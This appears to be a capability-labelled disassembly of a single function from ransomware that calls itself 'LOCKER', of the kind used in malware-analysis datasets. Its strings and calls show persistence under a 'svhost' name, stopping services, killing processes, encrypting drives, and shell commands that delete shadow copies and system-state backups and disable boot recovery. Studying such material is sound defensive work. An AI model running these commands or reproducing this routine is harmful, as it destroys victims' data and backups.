Function at 0x405aa0
Capabilities:
Delete volume shadow copies
Disable automatic windows recovery features
Manipulate boot configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x4810f4]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x466bf6
push 0
call fcn.0043f64c
add esp, 8
push 0x3f
push 0x466bf7
lea ecx, [ebp - 0x148]
call fcn.00405370
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.0042645b
add esp, 8
lea ecx, [ebp - 0x140]
call fcn.00405400
lea ecx, [ebp - 0x148]
call fcn.00405400
push 0x466dac
lea ecx, [ebp - 0xf7]
call fcn.00401200
mov ecx, eax
call fcn.00401830
push str.8761ABBD_7F85_42EE_B272_A76179687C63
lea ecx, [ebp - 0x160]
call fcn.00407790
lea ecx, [ebp - 0x160]
push ecx
call fcn.004054e0
add esp, 4
mov byte [ebp - 0xd5], al
lea ecx, [ebp - 0x160]
call fcn.00407640
movzx edx, byte [ebp - 0xd5]
test edx, edx
je 0x405b6a
push str._LOCKER__Is_already_running_n
lea ecx, [ebp - 0xf8]
call fcn.00401200
mov ecx, eax
call fcn.00401830
xor eax, eax
jmp 0x4062b1
lea ecx, [ebp - 6]
call fcn.00401200
lea ecx, [ebp - 6]
call fcn.00420090
lea ecx, [ebp - 6]
call fcn.004200c0
lea ecx, [ebp - 6]
call fcn.0041fff0
movzx eax, al
test eax, eax
je 0x405b9d
mov dword [ebp - 0x10c], str._LOCKER__Priv:_ADMIN_n
jmp 0x405ba7
mov dword [ebp - 0x10c], str._LOCKER__Priv:_USER_n
mov ecx, dword [ebp - 0x10c]
mov dword [ebp - 0x130], ecx
lea edx, [ebp - 0x130]
push edx
lea ecx, [ebp - 0xf9]
call fcn.00401200
mov ecx, eax
call fcn.00401830
call fcn.00405530
lea ecx, [ebp - 0x74]
call fcn.00413eb0
push str._LOCKER__Init_cryptor_n
lea ecx, [ebp - 0xfa]
call fcn.00401200
mov ecx, eax
call fcn.00401830
mov ecx, 0x485e00
call fcn.00401200
push eax
lea ecx, [ebp - 0x74]
call fcn.00413f30
movzx eax, al
test eax, eax
jne 0x405c4b
push str._LOCKER__Init_cryptor_is_failed_n
lea ecx, [ebp - 0xfb]
call fcn.00401200
mov ecx, eax
call fcn.00401830
call fcn.00401bd0
mov dword [ebp - 0x134], 0
lea ecx, [ebp - 0x74]
call fcn.00413f00
lea ecx, [ebp - 6]
call fcn.004017f0
mov eax, dword [ebp - 0x134]
jmp 0x4062b1
push str._LOCKER__Put_ID_to_HTML_code_n
lea ecx, [ebp - 0xed]
call fcn.00401200
mov ecx, eax
call fcn.00401830
push str.IDENTIFIER
lea ecx, [ebp - 0x178]
call fcn.00407920
lea ecx, [ebp - 0x238]
push ecx
lea ecx, [ebp - 0x74]
call fcn.00414060
push eax
lea edx, [ebp - 0x178]
push edx
mov ecx, 0x485e00
call fcn.00410400
movzx eax, al
test eax, eax
jne 0x405ca6
mov dword [ebp - 0x108], 1
jmp 0x405cb0
mov dword [ebp - 0x108], 0
mov cl, byte [ebp - 0x108]
mov byte [ebp - 0xd6], cl
lea ecx, [ebp - 0x238]
call fcn.00407900
lea ecx, [ebp - 0x178]
call fcn.00407900
movzx edx, byte [ebp - 0xd6]
test edx, edx
je 0x405d1e
push str._LOCKER__Put_ID_to_HTML_code_is_failed__n
lea ecx, [ebp - 0xee]
call fcn.00401200
mov ecx, eax
call fcn.00401830
call fcn.00401bd0
mov dword [ebp - 0x138], 0
lea ecx, [ebp - 0x74]
call fcn.00413f00
lea ecx, [ebp - 6]
call fcn.004017f0
mov eax, dword [ebp - 0x138]
jmp 0x4062b1
lea ecx, [ebp - 0xa]
call fcn.00401200
push str._LOCKER__Add_to_autorun_n
lea ecx, [ebp - 0xef]
call fcn.00401200
mov ecx, eax
call fcn.00401830
push str.svhost
lea ecx, [ebp - 0x190]
call fcn.00407790
mov ecx, 0x485e00
call fcn.004106d0
push eax
lea eax, [ebp - 0x190]
push eax
lea ecx, [ebp - 0xa]
call fcn.0041ebb0
lea ecx, [ebp - 0x190]
call fcn.00407640
push str._LOCKER__Scan_hidden_devices_n
lea ecx, [ebp - 0xf0]
call fcn.00401200
mov ecx, eax
call fcn.00401830
lea ecx, [ebp - 9]
call fcn.00401200
lea ecx, [ebp - 9]
call fcn.0041b3e0
push str._LOCKER__Stop_and_delete_services_n
lea ecx, [ebp - 0xf1]
call fcn.00401200
mov ecx, eax
call fcn.00401830
lea ecx, [ebp - 5]
call fcn.00401200
mov ecx, 0x485e00
call fcn.00410690
mov dword [ebp - 0x104], eax
mov ecx, dword [ebp - 0x104]
call fcn.00401c60
mov dword [ebp - 0xe0], eax
mov ecx, dword [ebp - 0x104]
call fcn.00401c70
mov dword [ebp - 0x118], eax
jmp 0x405dfb
mov ecx, dword [ebp - 0xe0]
add ecx, 0x18
mov dword [ebp - 0xe0], ecx
mov edx, dword [ebp - 0xe0]
cmp edx, dword [ebp - 0x118]
je 0x405e52
mov eax, dword [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x8c]
call fcn.00407810
push 0x3e8
lea ecx, [ebp - 0x8c]
push ecx
lea ecx, [ebp - 5]
call fcn.0041e1a0
movzx edx, al
test edx, edx
je 0x405e45
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 5]
call fcn.0041e370
lea ecx, [ebp - 0x8c]
call fcn.00407640
jmp 0x405dec
push str._LOCKER__Kill_processes_n
lea ecx, [ebp - 0xf2]
call fcn.00401200
mov ecx, eax
call fcn.00401830
mov ecx, 0x485e00
call fcn.004106b0
mov dword [ebp - 0x100], eax
mov ecx, dword [ebp - 0x100]
call fcn.00401c60
mov dword [ebp - 0xe4], eax
mov ecx, dword [ebp - 0x100]
call fcn.00401c70
mov dword [ebp - 0x11c], eax
jmp 0x405eac
mov ecx, dword [ebp - 0xe4]
add ecx, 0x18
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0x11c]
je 0x405ee8
mov eax, dword [ebp - 0xe4]
push eax
lea ecx, [ebp - 0xbc]
call fcn.00407810
lea ecx, [ebp - 0xbc]
push ecx
lea ecx, [ebp - 5]
call fcn.0041df10
lea ecx, [ebp - 0xbc]
call fcn.00407640
jmp 0x405e9d
mov dword [ebp - 0xe8], 0
jmp 0x405f03
mov edx, dword [ebp - 0xe8]
add edx, 1
mov dword [ebp - 0xe8], edx
cmp dword [ebp - 0xe8], 3
jge 0x406051
mov eax, dword [ebp - 0xe8]
add eax, 1
mov dword [ebp - 0x120], eax
push 0x467108
lea ecx, [ebp - 0x120]
push ecx
push str._LOCKER__Remove_backups
lea ecx, [ebp - 0xf3]
call fcn.00401200
mov ecx, eax
call fcn.00401830
mov ecx, eax
call fcn.00401830
mov ecx, eax
call fcn.00401830
push str.vssadmin.exe_Delete_Shadows__All__Quiet
lea ecx, [ebp - 0x220]
call fcn.00407790
lea edx, [ebp - 0x220]
push edx
lea ecx, [ebp - 5]
call fcn.0041de20
lea ecx, [ebp - 0x220]
call fcn.00407640
push str.bcdedit.exe__set_default_recoveryenabled_No
lea ecx, [ebp - 0x1a8]
call fcn.00407790
lea eax, [ebp - 0x1a8]
push eax
lea ecx, [ebp - 5]
call fcn.0041de20
lea ecx, [ebp - 0x1a8]
call fcn.00407640
push str.bcdedit.exe__set_default_bootstatuspolicy_ignoreallfailures
lea ecx, [ebp - 0x1c0]
call fcn.00407790
lea ecx, [ebp - 0x1c0]
push ecx
lea ecx, [ebp - 5]
call fcn.0041de20
lea ecx, [ebp - 0x1c0]
call fcn.00407640
push str.wbadmin_DELETE_SYSTEMSTATEBACKUP
lea ecx, [ebp - 0x1d8]
call fcn.00407790
lea edx, [ebp - 0x1d8]
push edx
lea ecx, [ebp - 5]
call fcn.0041de20
lea ecx, [ebp - 0x1d8]
call fcn.00407640
push str.wbadmin_DELETE_SYSTEMSTATEBACKUP__deleteOldest
lea ecx, [ebp - 0x1f0]
call fcn.00407790
lea eax, [ebp - 0x1f0]
push eax
lea ecx, [ebp - 5]
call fcn.0041de20
lea ecx, [ebp - 0x1f0]
call fcn.00407640
push str.wmic.exe_SHADOWCOPY__nointeractive
lea ecx, [ebp - 0x208]
call fcn.00407790
lea ecx, [ebp - 0x208]
push ecx
lea ecx, [ebp - 5]
call fcn.0041de20
lea ecx, [ebp - 0x208]
call fcn.00407640
jmp 0x405ef4
lea ecx, [ebp - 5]
call fcn.0041ded0
push 1
call fcn.004056d0
add esp, 4
lea ecx, [ebp - 8]
call fcn.00401200
push 0x18
lea ecx, [ebp - 0x48]
call fcn.00401650
lea ecx, [ebp - 0x48]
call fcn.00417320
lea ecx, [ebp - 7]
call fcn.00401200
push 0xc
lea ecx, [ebp - 0x18]
call fcn.00401650
lea ecx, [ebp - 0x18]
call fcn.00406460
push str._LOCKER__Run_scanning..._n_n
lea ecx, [ebp - 0xf4]
call fcn.00401200
mov ecx, eax
call fcn.00401830
push 0xc
lea ecx, [ebp - 0x24]
call fcn.00401650
lea edx, [ebp - 0x24]
push edx
lea ecx, [ebp - 8]
call fcn.00415390
lea eax, [ebp - 0x24]
mov dword [ebp - 0x114], eax
mov ecx, dword [ebp - 0x114]
call fcn.00401c60
mov dword [ebp - 0xec], eax
mov ecx, dword [ebp - 0x114]
call fcn.00401c70
mov dword [ebp - 0x124], eax
jmp 0x406100
mov ecx, dword [ebp - 0xec]
add ecx, 0x18
mov dword [ebp - 0xec], ecx
mov edx, dword [ebp - 0xec]
cmp edx, dword [ebp - 0x124]
je 0x40617c
mov eax, dword [ebp - 0xec]
push eax
lea ecx, [ebp - 0xa4]
call fcn.00407810
push 0x467394
lea ecx, [ebp - 0xa4]
push ecx
push str._LOCKER__Lock_drive
lea ecx, [ebp - 0xf5]
call fcn.00401200
mov ecx, eax
call fcn.00401830
mov ecx, eax
call fcn.00401830
mov ecx, eax
call fcn.00401830
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x74]
push ecx
lea edx, [ebp - 0xa4]
push edx
call fcn.00405790
add esp, 0x10
lea ecx, [ebp - 0xa4]
call fcn.00407640
jmp 0x4060f1
push 0xc
lea ecx, [ebp - 0x30]
call fcn.00401650
push 0x64
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 7]
call fcn.0041c9b0
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x110], ecx
mov ecx, dword [ebp - 0x110]
call fcn.00401c60
mov dword [ebp - 0xdc], eax
mov ecx, dword [ebp - 0x110]
call fcn.00401c70
mov dword [ebp - 0x128], eax
jmp 0x4061d0
mov edx, dword [ebp - 0xdc]
add edx, 0x18
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xdc]
cmp eax, dword [ebp - 0x128]
je 0x406218
mov ecx, dword [ebp - 0xdc]
push ecx
lea ecx, [ebp - 0xd4]
call fcn.00407810
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x74]
push ecx
lea edx, [ebp - 0xd4]
push edx
call fcn.00405790
add esp, 0x10
lea ecx, [ebp - 0xd4]
call fcn.00407640
jmp 0x4061c1
push 0x467398
lea ecx, [ebp - 0xf6]
call fcn.00401200
mov ecx, eax
call fcn.00401830
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x30]
call fcn.00407400
lea ecx, [ebp - 0x24]
call fcn.00407400
jmp 0x4060ae
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043a762
mov esp, ebp
pop ebp
ret 0x10